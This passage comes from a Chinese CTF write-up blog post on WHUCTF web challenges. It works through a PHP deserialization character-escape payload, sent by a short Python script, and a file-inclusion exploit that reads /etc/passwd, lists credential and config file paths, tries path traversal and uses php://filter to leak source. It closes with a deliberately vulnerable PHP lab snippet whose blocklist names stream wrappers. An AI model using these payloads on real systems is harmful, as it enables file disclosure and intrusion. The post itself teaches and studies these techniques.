經過構造 a:2:{i:0;s:5:「admin」;i:1;s:6:「123456」;}";i:1;s:5:「aaaaa」;} 將字符串閉合並控制第二個元素爲123456,但存在長度問題,故添加字符串爲 admin";i:1;s:6:「123456」;},長度爲20,所以咱們構造20個x,xxxxxxxxxxxxxxxxxxxx";i:1;s:6:「123456」;},這樣x就會被替換成yy,咱們就多了20個位置,把咱們的 payload 擠出去,就恰好能夠閉合了。

在這裏插入圖片描述


最終Payload:

  • http://localhost/0523.php?num=23333%0A&str1=11230178&str2=0e215962017
  • username=xxxxxxxxxxxxxxxxxxxx";i:1;s:6:「123456」;}
import requests
from urllib.parse import quote_plus

url = "http://218.197.154.9:10015/?num=23333%0A&str1=11230178&str2=QNKCDZO"
data = {'username':'xxxxxxxxxxxxxxxxxxxx";i:1;s:6:"123456";}'}
res = requests.post(url=url,data=data)
print(res.text)
f = open("test0523.txt","w")
f.write(res.text)
f.close()

flag輸出結果以下:

在這裏插入圖片描述

題目+實戰總結:

  • 使用%0A作截斷,經過換行繞過preg_match函數
  • 經過PHP弱類型比較漏洞繞過,在PHP弱類型中,0e+數字類型使用==會被認爲相等
  • 最後利用PHP反序列化中的字符逃逸

推薦及參考文章:



四.ezinclude

1.題目描述

網址: http://218.197.154.9:10017/
考點: 文件包含漏洞inlude

在這裏插入圖片描述

主界面顯示以下圖所示:

在這裏插入圖片描述

在這裏插入圖片描述

contact.php核心代碼以下:

<form action="thankyou.php">
  <label for="fname">First Name</label>
  <input type="text" id="fname" name="firstname" placeholder="Your name..">
  
  <label for="lname">Last Name</label>
  <input type="text" id="lname" name="lastname" placeholder="Your last name..">

  <label for="country">Country</label>
    <select id="country" name="country">
      <option value="australia">Australia</option>
      <option value="britain">Britain</option>
      <option value="canada">Canada</option>
      <option value="usa">USA</option>
      <option value="other">Other</option>
    </select>

  <label for="subject">Subject</label>
  <textarea id="subject" name="subject" placeholder="Write something.." style="height:200px"></textarea>

  <input type="submit" value="Submit">
</form>


2.解題思路

這道題在contact.php頁面有表單提交的選項,提交至thankyou.php頁面,經過URL參數及題目提示文件包含,咱們嘗試往文件包含漏洞滲透。

什麼是文件包含漏洞呢?
經過PHP函數引入文件時,傳入的文件名沒有通過合理的驗證,從而操做了預想以外的文件,就可能致使意外的文件泄漏甚至惡意代碼注入。PHP中常見的文件包含函數有如下四種:include()、require()、include_once()、require()_once()。

(1) 首先,咱們提交正常的信息,看看反饋結果。

  • http://218.197.154.9:10017/thankyou.php?
  • firstname=eastmount&lastname=csdn&country=australia&subject=123456

在這裏插入圖片描述

反饋結果以下圖所示:

在這裏插入圖片描述


(2) 經過參數file讀取信息,驗證該參數可用。

  • http://218.197.154.9:10017/thankyou.php?file=/etc/passwd

Linux獲取信息經常使用方法:

  • /etc/passwd //帳戶信息
  • /etc/shadow //帳戶密碼文件
  • /usr/local/app/apache2/conf/httpd.conf //Apache2默認配置文件
  • /usr/local/app/apache2/conf/extra/httpd-vhost.conf //虛擬網站配置
  • /usr/local/app/php5/lib/php.ini //PHP相關配置
  • /etc/httpd/conf/httpd.conf //Apache配置文件
  • /etc/my.conf //mysql配置文件

在這裏插入圖片描述

嘗試file參數其餘方式獲取信息,但提示include()沒有該目錄。

  • thankyou.php?file=…/…/…/…/…/…/…/…/…/var/log/apache/error.log
  • thankyou.php?file=…\phpinfo.php
  • thankyou.php?file=Http://127.0.0.1/phpinfo.php

在這裏插入圖片描述


(3) 利用php://filter獲取指定文件源碼。
當php://filter與包含函數結合時,php://filter流會被看成php文件執行。因此咱們通常對其進行編碼,讓其不執行,從而致使任意文件讀取。

  • http://218.197.154.9:10017/thankyou.php?file=php://filter/resource=flag.php

在這裏插入圖片描述

提示警告信息「Warning: include(): unable to locate filter 「resource=flag.php」 in /var/www/html/thankyou.php on line 44」。


(4) 直接讀flag.php文件大多數狀況會沒法顯示信息在瀏覽器頁面上,因此須要將文件內容進行base64編碼後顯示在瀏覽器上,再自行解碼。

  • http://218.197.154.9:10017/thankyou.php?
  • file=php://filter/read=convert.base64-encode/resource=flag.php

在這裏插入圖片描述


(5) 在線base64解密,網址:https://tool.oschina.net/encrypt?type=3

  • flag=whuctf{N0w_y0u_kn0w_file_inclusion}

在這裏插入圖片描述


題目+實戰總結:

  • 文件包含漏洞
  • 利用php://filter獲取指定文件源碼
  • 將文件內容進行base64編碼後顯示在瀏覽器上,再自行解碼

你們能夠在本地利用下列代碼進行實驗。

<meta charset="utf8">
<?php
error_reporting(0);
$file = $_GET["file"];
if(stristr($file,"php://input") || stristr($file,"zip://") || stristr($file,"phar://") || stristr($file,"data:")){
	exit('hacker!');
}
if($file){
	include($file);
}else{
	echo '<a href="?file=flag.php">tips</a>';
}
?>

推薦及參考文章:



五.總結

寫到這裏,這篇文章就介紹完畢,但願對您有所幫助。學安全近一年,認識了不少安全大佬和朋友,但願你們一塊兒進步。這篇文章中若是存在一些不足,還請海涵。做者做爲網絡安全初學者的慢慢成長路吧!但願將來能更透徹撰寫相關文章。同時很是感謝參考文獻中的安全大佬們的文章分享,感謝師傅、師兄師弟、師姐師妹們的教導,深知本身很菜,得努力前行。最後仍是那句話,人生路上,好好享受陪伴家人的日子,那纔是最幸福的事情,愛你~

歡迎你們討論,是否以爲這系列文章幫助到您!任何建議均可以評論告知讀者,共勉。

(By:Eastmount 2020-05-29 下午6點寫於貴陽 http://blog.csdn.net/eastmount/ )

相關文章
相關標籤/搜索